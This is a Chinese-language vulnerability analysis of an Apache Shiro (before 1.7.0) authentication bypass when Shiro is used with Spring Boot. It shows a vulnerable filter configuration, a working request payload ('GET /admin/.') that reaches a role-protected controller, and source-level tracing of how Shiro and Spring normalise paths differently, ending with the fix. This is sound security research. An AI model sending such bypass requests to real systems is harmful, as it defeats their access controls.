Apache Shiro before 1.7.0, when using Apache Shiro with Spring, a specially crafted HTTP request may cause an authentication bypass.
If you are NOT using Shiro’s Spring Boot Starter (shiro-spring-boot-web-starter), you must configure add the ShiroRequestMappingConfigautoconfiguration to your applicationor configure the equivalent manually. [1]
shiro < 1.7.0
springboot > 2.3.0 RELEASE
要使用resful风格的路径
基础配置
shiro: 1.6.0
spring-boot: 2.7.4
shiro配置:
@Bean
ShiroFilterFactoryBean getShiroFilterFactoryBean(DefaultWebSecurityManager securityManager) {
ShiroFilterFactoryBean bean = new ShiroFilterFactoryBean();
bean.setSecurityManager(securityManager);
bean.setLoginUrl("/login");
bean.setSuccessUrl("/loginSuccess");
bean.setUnauthorizedUrl("/unauthorized");
LinkedHashMap<String, String> map = new LinkedHashMap<String, String>();
//url --> filter1,filter2....
map.put("/print", "authc, perms[printer:print]");
map.put("/query", "authc, perms[printer:query]");
map.put("/admin/*", "authc, roles[admin]"); //不可以是"/admin/**"
map.put("/login","authc");
bean.setFilterChainDefinitionMap(map);
return bean;
}
controller:
@GetMapping("/admin/{param}")
public String adminInfo(@PathVariable String param) {
if(param == null){
return "you are admin";
}
return "Admin Info: " + param;
}
payload
GET /admin/. HTTP/1.1
Host: localhost:9090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
DNT: 1
Sec-GPC: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=0, i
结果:
漏洞入口:PathMatchingFilterChainResolver.getChain()

源码:
public FilterChain getChain(ServletRequest request, ServletResponse response, FilterChain originalChain) {
FilterChainManager filterChainManager = getFilterChainManager();
if (!filterChainManager.hasChains()) {
return null;
}
//漏洞点
String requestURI = getPathWithinApplication(request);
//去除末尾的 “/”
if(requestURI != null && !DEFAULT_PATH_SEPARATOR.equals(requestURI)
&& requestURI.endsWith(DEFAULT_PATH_SEPARATOR)) {
requestURI = requestURI.substring(0, requestURI.length() - 1);
}
for (String pathPattern : filterChainManager.getChainNames()) {
//去除末尾的 “/”
if (pathPattern != null && !DEFAULT_PATH_SEPARATOR.equals(pathPattern)
&& pathPattern.endsWith(DEFAULT_PATH_SEPARATOR)) {
pathPattern = pathPattern.substring(0, pathPattern.length() - 1);
}
// If the path does match, then pass on to the subclass implementation for specific checks:
if (pathMatches(pathPattern, requestURI)) {
if (log.isTraceEnabled()) {
log.trace("省略");
}
return filterChainManager.proxy(originalChain, pathPattern);
}
}
return null;
}
进入漏洞点


末尾多出来的路径不明白的可以看同专辑中的CVE-2020-13933
结果毫无疑问,/amdin匹配到/**
但是"/admin"这个路径对InvalidRequestFilter的核心算法而言是合法的,所以会被shiro放行:
//InvalidRequestFilter::
protected boolean isAccessAllowed(ServletRequest request, ServletResponse response, Object mappedValue) throws Exception {
String uri = WebUtils.toHttp(request).getRequestURI();
return !containsSemicolon(uri)
&& !containsBackslash(uri)
&& !containsNonAsciiCharacters(uri);
}
于是来到spring的路径匹配入口:AbstractHandlerMethodMapping.getHandlerInternal(...)
protected HandlerMethod getHandlerInternal(HttpServletRequest request) throws Exception {
String lookupPath = initLookupPath(request);
this.mappingRegistry.acquireReadLock();
try {
HandlerMethod handlerMethod = lookupHandlerMethod(lookupPath, request);
return (handlerMethod != null ? handlerMethod.createWithResolvedBean() : null);
}
finally {
this.mappingRegistry.releaseReadLock();
}
}
进入initLookupPath(request):
userPathPatterns() 默认为true;
返回:/admin/.

由于spring没有像shiro那样对像 带有/.和/..的路径进行规范化,导致最终匹配到了controller方法:

【注意】:点号是必须的:

结果测试 spring”/admin/“是匹配 “/admin”的但是不匹配“/admin/{param}”
[2]
主要是因为springboot <= 2.3.0 RELEASE 路径匹配机制与后面版本有所不同。
以下源码全是springboot 2.3.0 RELEASE
函数入口:AbstractHandlerMethodMapping#getHandlerInternal
调试:
uri: /admin/.

String lookupPath = getUrlPathHelper().getLookupPathForRequest(request);
public String getLookupPathForRequest(HttpServletRequest request) {
// Always use full path within current servlet context?
//分支1
if (this.alwaysUseFullPath) {
return getPathWithinApplication(request);
}
// Else, use path within current servlet mapping if applicable
//分支2
//一般进入这个分支
String rest = getPathWithinServletMapping(request);
if (!"".equals(rest)) {
return rest;
}
else {
return getPathWithinApplication(request);
}
}
第一个分支是正常的:getPathWithinApplication
public String getPathWithinApplication(HttpServletRequest request) {
String contextPath = getContextPath(request);
String requestUri = getRequestUri(request);
//去除匹配到的部分,返回剩余部分,忽略大小写,从而返回相对路径
String path = getRemainingPath(requestUri, contextPath, true);
if (path != null) {
// Normal case: URI contains context path.
return (StringUtils.hasText(path) ? path : "/");
}
else {
return requestUri;
}
}
public String getRequestUri(HttpServletRequest request) {
String uri = (String) request.getAttribute(WebUtils.INCLUDE_REQUEST_URI_ATTRIBUTE);
if (uri == null) {
uri = request.getRequestURI();
}
return decodeAndCleanUriString(request, uri);
}
private String decodeAndCleanUriString(HttpServletRequest request, String uri) {
//先去除分号,
uri = removeSemicolonContent(uri);
//再解码
uri = decodeRequestString(request, uri);
//然后将`//`替换成`/`
uri = getSanitizedPath(uri);
return uri;
}
但是第二个分支会出问题:

getServletPath()底层调用request.getServletPath(),其会对
/..和/.进行规范化getRemainingPath(...)是去除匹配的部分,返回其余的部分
当然如果只走第一分支,那该漏洞在springboot <= 2.3.0 RELEASE 也能利用,这需要相关配置使得this.alwaysUseFullPath返回true.
无论是哪个分支对上一个漏洞CVE-2020-13933都没有影响
springboot > 2.3.0 RELEASE:
protected String initLookupPath(HttpServletRequest request) {
if (usesPathPatterns()) {
request.removeAttribute(UrlPathHelper.PATH_ATTRIBUTE);
RequestPath requestPath = ServletRequestPathUtils.getParsedRequestPath(request);
String lookupPath = requestPath.pathWithinApplication().value();
return UrlPathHelper.defaultInstance.removeSemicolonContent(lookupPath);
}
else {
//进入这个分支需要配置才会生效
//底层与spring 2.3.0 RELEASE一样
return getUrlPathHelper().resolveAndCacheLookupPath(request);
}
}
public String resolveAndCacheLookupPath(HttpServletRequest request) {
//与spring <= 2.3.0 RELEASE一样
String lookupPath = getLookupPathForRequest(request);
request.setAttribute(PATH_ATTRIBUTE, lookupPath);
return lookupPath;
}
public String getLookupPathForRequest(HttpServletRequest request) {
// Always use full path within current servlet context?
//分支1
if (this.alwaysUseFullPath) {
return getPathWithinApplication(request);
}
// Else, use path within current servlet mapping if applicable
//分支2
//一般进入这个分支
String rest = getPathWithinServletMapping(request);
if (!"".equals(rest)) {
return rest;
}
else {
return getPathWithinApplication(request);
}
}
修复:增加了一个类,ShiroUrlPathHelper.java

很明显,将路径匹配规则,改成shiro的WebUtils.getPathWithinApplication(request);如此shiro与spring获取到的路径就完全一致了。
【注意】:需要额外配置才能生效(也就是走initLookupPath()中的else分支):
Reference